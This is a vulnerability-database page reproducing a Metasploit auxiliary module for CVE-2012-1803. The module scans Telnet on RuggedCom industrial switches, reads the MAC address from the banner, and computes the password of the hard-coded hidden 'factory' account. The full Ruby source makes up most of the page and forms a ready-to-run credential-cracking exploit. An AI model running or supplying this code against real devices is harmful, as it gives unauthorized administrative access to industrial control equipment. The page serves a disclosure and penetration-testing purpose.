Lucene search
K

RuggedCom Telnet Password Generator

🗓️ 31 Aug 2024 00:00:00Reported by jc, Borja Merino, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 168 Views

RuggedCom Telnet Password Generator module for calculating the hard-coded hidden username "factory" password in RuggedCom Rugged Operating System (ROS) based on MAC address

Related
Code
ReporterTitlePublishedViews
Family
0day.today
RuggedCom Devices Backdoor Access
24 Apr 201200:00
zdt
GithubExploit
Exploit for CVE-2012-1803
25 May 202617:37
githubexploit
Circl
CVE-2012-1803
29 May 201815:50
circl
CVE
CVE-2012-1803
28 Apr 201200:00
cve
Cvelist
CVE-2012-1803
28 Apr 201200:00
cvelist
Exploit DB
RuggedCom Devices - Backdoor Access
24 Apr 201200:00
exploitdb
exploitpack
RuggedCom Devices - Backdoor Access
24 Apr 201200:00
exploitpack
ICS
RuggedCom Weak Cryptography for Password Vulnerability
26 Feb 201207:00
ics
Metasploit
RuggedCom Telnet Password Generator
13 May 201209:09
metasploit
NVD
CVE-2012-1803
28 Apr 201200:55
nvd
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Telnet  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'RuggedCom Telnet Password Generator',  
'Description' => %q{  
This module will calculate the password for the hard-coded hidden username  
"factory" in the RuggedCom Rugged Operating System (ROS). The password is  
dynamically generated based on the devices MAC address.  
},  
'References' =>  
[  
[ 'CVE', '2012-1803' ],  
[ 'EDB', '18779' ],  
[ 'US-CERT-VU', '889195' ]  
],  
'Author' => [  
'Borja Merino <bmerinofe[at]gmail.com>',  
'jc' # ExploitDB PoC  
],  
'License' => MSF_LICENSE  
))  
  
register_options(  
[  
Opt::RPORT(23),  
OptString.new('USERNAME', [ true, 'The username to authenticate as', 'factory']),  
OptInt.new('TIMEOUT', [true, 'Timeout for the Telnet probe', 30])  
])  
end  
  
  
def mac_to_password(mac)  
print_status("MAC Address: #{mac}")  
mac_clean = mac.gsub("-","")  
mac_reverse = mac_clean.each_char.each_slice(2).to_a.reverse.join  
mac_reverse << "0000"  
pass = mac_reverse.hex % 999999929  
print_status("Password: #{pass}")  
return pass.to_s  
end  
  
  
def get_info(banner)  
product = banner.match(/Product:\s*\S*/)[0]  
so_version = banner.match(/Rugged Operating System\s\S*/)[0]  
return so_version << " " << product  
end  
  
def report_cred(opts)  
service_data = {  
address: opts[:ip],  
port: opts[:port],  
service_name: 'telnet',  
protocol: 'tcp',  
workspace_id: myworkspace_id  
}  
  
credential_data = {  
origin_type: :service,  
module_fullname: fullname,  
username: opts[:user],  
private_data: opts[:password],  
private_type: :password  
}.merge(service_data)  
  
login_data = {  
last_attempted_at: DateTime.now,  
core: create_credential(credential_data),  
status: Metasploit::Model::Login::Status::SUCCESSFUL,  
proof: opts[:proof]  
}.merge(service_data)  
  
create_credential_login(login_data)  
end  
  
def run_host(ip)  
to = (datastore['TIMEOUT'].zero?) ? 30 : datastore['TIMEOUT']  
begin  
::Timeout.timeout(to) do  
res = connect  
banner_santized = Rex::Text.to_hex_ascii(banner.to_s)  
if banner_santized =~ /Rugged Operating System/  
print_status("#{ip}:#{rport} Calculating Telnet password ...")  
mac = banner_santized.match(/((?:[0-9a-f]{2}[-]){5}[0-9a-f]{2})/i)[0]  
password = mac_to_password(mac)  
info = get_info(banner_santized)  
report_cred(ip: rhost, port: rport, user:'factory', password: password, proof: banner_santized)  
break  
else  
print_status("It doesn't seem to be a RuggedCom service.")  
break  
end  
end  
  
rescue ::Rex::ConnectionError  
rescue Timeout::Error  
print_error("#{target_host}:#{rport}, Server timed out after #{to} seconds. Skipping.")  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation